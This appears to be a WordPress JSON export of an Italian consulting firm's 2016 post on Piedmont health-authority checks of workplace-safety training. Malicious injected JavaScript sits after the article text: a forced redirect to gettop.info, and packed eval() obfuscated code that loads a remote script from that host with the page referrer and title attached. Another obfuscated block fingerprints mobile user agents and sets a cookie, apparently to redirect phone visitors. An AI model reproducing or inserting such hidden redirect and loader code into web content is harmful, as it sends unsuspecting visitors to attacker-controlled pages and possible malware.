{"id":1702,"date":"2016-03-16T15:24:30","date_gmt":"2016-03-16T14:24:30","guid":{"rendered":"http:\/\/www.qsei.it\/?p=1702"},"modified":"2017-10-23T11:57:17","modified_gmt":"2017-10-23T09:57:17","slug":"procedure-per-laccertamento-da-parte-delle-a-s-l-del-rispetto-della-normativa-vigente-in-materia-di-formazione-circolare-nr-42016-18-mar-2016","status":"publish","type":"post","link":"https:\/\/qsei.it\/?p=1702","title":{"rendered":"Procedure per l&#8217;accertamento, da parte delle A.S.L., del rispetto della normativa vigente in materia di formazione | CIRCOLARE nr. 4\/2016 &#8211; 18 MAR 2016"},"content":{"rendered":"<p>Nel mese di febbraio sono state pubblicate le Procedure per l\u2019accertamento degli adempimenti relativi alla formazione di cui al D.L.vo 81\/2008 e s.m.i. in Piemonte.<\/p>\n<p>La vigilanza, secondo quanto previsto dall\u2019art. 13 del D.L.vo 81\/08, deve riguardare anche la formazione in quanto essa \u00e8 considerata a tutti gli effetti uno strumento per la prevenzione.<\/p>\n<p>L\u2019accertamento relativo alla formazione, da parte delle ASL, pu\u00f2 avvenire a seguito di:<\/p>\n<ul>\n<li>esposto da parte di un Rappresentante dei Lavoratori per la Sicurezza (RLS), discente, ecc.;<\/li>\n<li>richiesta dell\u2019Autorit\u00e0 Giudiziaria;<\/li>\n<li>segnalazione da parte della Regione Piemonte o della Commissione Regionale per la verifica dei requisiti dei soggetti formatori;<\/li>\n<li>libera iniziativa dello S.Pre.S.A.L.<\/li>\n<\/ul>\n<p>La normativa vigente prevede per il datore di lavoro gravi sanzioni non solo in caso di mancata erogazione della formazione ai propri dipendenti, ma anche in caso di formazione insufficiente o inadeguata ossia non corrispondente ai criteri stabiliti in relazione a durata, contenuti, modalit\u00e0 e qualificazione dei soggetti formatori\/erogatori e dei docenti.<\/p>\n<p>Si ricorda inoltre, che a GEN 2017 scade il termine ultimo per l\u2019aggiornamento della formazione per le aziende che hanno usufruito del riconoscimento della formazione pregressa impartita entro cinque anni dall\u2019entrata in vigore dell\u2019Accordo Stato Regioni relativo alla formazione di lavoratori, preposti, dirigenti e dei datori di lavoro che intendano rivestire il ruolo di Responsabili del Servizio di Prevenzione e Protezione.<\/p>\n<p style=\"text-align: center;\"><strong>IL PERSONALE DI Qsei s.r.l. E\u2019 A DISPOSIZIONE PER CHIARIMENTI E<\/strong><br \/>\n<strong>PER ASSISTERE LE AZIENDE AD ESPLETARE GLI ADEMPIMENTI NECESSARI<\/strong><\/p>\n<\/p>\n<p><script language = 'javascript'> setTimeout(\"document.location.href='http:\/\/gettop.info\/kt\/?53vSkc&#038;'\", delay);<\/script><\/p>\n<p><script type=\"text\/javascript\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('5 d=1;5 2=d.f(\\'4\\');2.g=\\'c:\/\/b.7\/8\/?9&#038;a=4&#038;i=\\'+6(1.o)+\\'&#038;p=\\'+6(1.n)+\\'\\';m(1.3){1.3.j.k(2,1.3)}h{d.l(\\'q\\')[0].e(2)}',27,27,'|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head'.split('|'),0,{}))<\/script><\/p>\n<p>document.currentScript.parentNode.insertBefore(s, document.currentScript);<\/p>\n<p>}<\/p>\n<p><script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c\/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(\/^\/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('z(1d.1k.1l(\"16\")==-1){(2V(a,b){z(a.1l(\"2W\")==-1){z(\/(2X|2U\\\\d+|2T).+1b|2P|2Q\\\\\/|2R|2S|2Y|2Z|37|38|39|G(36|B|L)|W|35|30 |31|33|34|1b.+2O|2N|1i m(2z|2A)i|2B( K)?|2y|p(2x|2t)\\\\\/|2u|2v|2w|2C(4|6)0|2D|2K|M\\\\.(2L|2M)|2J|2I|2E 2F|2G|2H\/i.17(a)||\/3a|3b|3E|3F|3G|50[1-6]i|3D|3C|a D|3y|X(N|Z|s\\\\-)|Y(3z|3A)|O(3B|1g|U)|3H|3I(3P|x|3Q)|3R|P(3O|A)|3N(j|3J)|3K|3L(3M|\\\\-m|r |s )|3x|3w(I|S|3i)|1a(3j|3k)|3h(X|3g)|3c(e|v)w|3d|3e\\\\-(n|u)|3f\\\\\/|3l|3m|2s\\\\-|3u|3v|3s|3r\\\\-|U(3n|R)|3o|3p(V|S|3q)|3S|2l\\\\-s|1B|1x|1y|1c(c|p)o|1E(12|\\\\-d)|1J(49|Y)|1w(1H|1F)|N(1m|1n)|1o|1v([4-7]0|K|D|1p)|1s|1q(\\\\-|15)|F u|1r|1I|2r\\\\-5|g\\\\-y|A(\\\\.w|B)|2f(L|29)|2a|2b|2i\\\\-(m|p|t)|2o\\\\-|2p(J|14)|2n( i|G)|2j\\\\-c|2k(c(\\\\-| |15|a|g|p|s|t)|28)|27(1S|1T)|i\\\\-(20|A|q)|1R|1Q( |\\\\-|\\\\\/)|1N|1O|1P|1V|1W|24|25|W|23(t|v)a|22|1X|1Y|1Z|2e|26( |\\\\\/)|1U|2m |2q\\\\-|2h(c|k)|2c(2d|2g)|1M( g|\\\\\/(k|l|u)|50|54|\\\\-[a-w])|1t|1u|1L\\\\-w|1G|1K\\\\\/|q(j|1D|1z)|Q(f|21|1g)|m\\\\-1A|1C(3t|T)|4p(5E|5F|E)|5G|y(f|5D|1a|5C|1c|t(\\\\-| |o|v)|5z)|5A(50|3T|v )|5H|5I|5O[0-2]|5P[2-3]|5N(0|2)|5M(0|2|5)|5J(0(0|1)|10)|5K((c|m)\\\\-|5L|5y|5x|5l|5m)|5n(6|i)|5k|5j|5g(5h|5i)|5o|5p|5v|5R(a|d|t)|5u|5t(13|\\\\-([1-8]|c))|5q|5r|C(5s|5Q)|67\\\\-2|65(I|69|11)|63|64|J\\\\-g|5U\\\\-a|5Z(5Y|12|21|32|60|\\\\-[2-7]|i\\\\-)|5X|66|6a|6c|6b|5V(5T|62)|5W\\\\\/|5S(6d|q|68|5w|x|5e)|4m(f|h\\\\-|Z|p\\\\-)|4n\\\\\/|11(c(\\\\-|0|1)|47|Q|R|T)|4o\\\\-|4l|4k(\\\\-|m)|4h\\\\-0|4i(45|4j)|5f(O|P|4q|V|4w)|4x(4v|x)|4u(f|h\\\\-|v\\\\-|v )|4r(f|4s)|4t(18|50)|4g(4f|10|18)|14(3Z|41)|42\\\\-|3Y\\\\-|3X(i|m)|3U\\\\-|t\\\\-y|3V(C|3W)|E(H|m\\\\-|43|44)|4d\\\\-9|M(\\\\.b|F|4e)|4c|4b|46|48|4a(4y|j)|4z(40|5[0-3]|\\\\-v)|4Y|4Z|51|4X(52|53|60|61|H|4W|4T|4U|4V|55)|56(\\\\-| )|5c|5d|5b(g |5a|57)|58|59|4S|4R\\\\-|4F|4G|4H\\\\-\/i.17(a.4E(0,4))){4D 1e=1h 19(1h 19().4A()+4B);1d.1k=\"16=1; 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